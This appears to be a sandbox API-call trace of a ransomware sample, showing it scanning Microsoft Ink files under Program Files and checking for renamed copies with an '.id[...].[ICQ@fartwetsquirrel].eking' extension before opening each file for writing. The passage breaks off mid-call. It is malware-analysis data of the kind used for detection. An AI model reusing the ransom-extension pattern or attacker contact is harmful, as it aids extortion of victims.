[0232.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml")) returned 0x20 [0232.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.074] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.074] SetEvent (hEvent=0x2b8) returned 1 [0232.074] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0232.075] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2600) returned 1 [0232.076] CloseHandle (hObject=0x368) returned 1 [0232.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml")) returned 0x20 [0232.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml")) returned 0x20 [0232.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.076] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.076] SetEvent (hEvent=0x2b8) returned 1 [0232.076] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0232.077] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2246) returned 1 [0232.077] CloseHandle (hObject=0x368) returned 1 [0232.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml")) returned 0x20 [0232.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml")) returned 0x20 [0232.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.079] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.102] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.105] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2542) returned 1 [0232.105] CloseHandle (hObject=0x358) returned 1 [0232.105] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml")) returned 0x20 [0232.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml")) returned 0x20 [0232.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.106] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.106] SetEvent (hEvent=0x2b8) returned 1 [0232.106] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.107] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2568) returned 1 [0232.108] CloseHandle (hObject=0x358) returned 1 [0232.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml")) returned 0x20 [0232.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml")) returned 0x20 [0232.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.108] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.108] SetEvent (hEvent=0x2b8) returned 1 [0232.108] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.110] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2596) returned 1 [0232.110] CloseHandle (hObject=0x358) returned 1 [0232.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml")) returned 0x20 [0232.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml")) returned 0x20 [0232.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.110] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.111] SetEvent (hEvent=0x2b8) returned 1 [0232.111] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.112] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2720) returned 1 [0232.112] CloseHandle (hObject=0x358) returned 1 [0232.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml")) returned 0x20 [0232.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml")) returned 0x20 [0232.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.115] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.118] SetEvent (hEvent=0x2b8) returned 1 [0232.118] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.132] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=7680) returned 1 [0232.133] CloseHandle (hObject=0x358) returned 1 [0232.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui")) returned 0x20 [0232.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui")) returned 0x20 [0232.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.133] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.134] SetEvent (hEvent=0x2b8) returned 1 [0232.134] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.134] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=7680) returned 1 [0232.134] CloseHandle (hObject=0x358) returned 1 [0232.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui")) returned 0x20 [0232.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui")) returned 0x20 [0232.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.135] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.135] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0232.147] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=763) returned 1 [0232.147] CloseHandle (hObject=0x348) returned 1 [0232.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml")) returned 0x20 [0232.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml")) returned 0x20 [0232.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.147] SetEvent (hEvent=0x2b8) returned 1 [0232.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.211] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=10240) returned 1 [0232.211] CloseHandle (hObject=0x358) returned 1 [0232.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui")) returned 0x20 [0232.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui")) returned 0x20 [0232.212] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.212] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.212] SetEvent (hEvent=0x2b8) returned 1 [0232.212] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.230] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=503808) returned 1 [0232.230] CloseHandle (hObject=0x358) returned 1 [0232.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll")) returned 0x20 [0232.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll")) returned 0x20 [0232.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.231] SetEvent (hEvent=0x2b8) returned 1 [0232.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.239] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=51200) returned 1 [0232.240] CloseHandle (hObject=0x358) returned 1 [0232.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll")) returned 0x20 [0232.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll")) returned 0x20 [0232.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.240] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwgst.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.241] SetEvent (hEvent=0x2b8) returned 1 [0232.241] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.251] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=10240) returned 1 [0232.251] CloseHandle (hObject=0x358) returned 1 [0232.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui")) returned 0x20 [0232.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui")) returned 0x20 [0232.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.254] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=10240) returned 1 [0232.254] CloseHandle (hObject=0x358) returned 1 [0232.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui")) returned 0x20 [0232.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui")) returned 0x20 [0232.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.255] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.255] SetEvent (hEvent=0x2b8) returned 1 [0232.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.256] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=10752) returned 1 [0232.256] CloseHandle (hObject=0x358) returned 1 [0232.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui")) returned 0x20 [0232.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui")) returned 0x20 [0232.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.257] GetFileSizeEx (in: hFile=0x358, 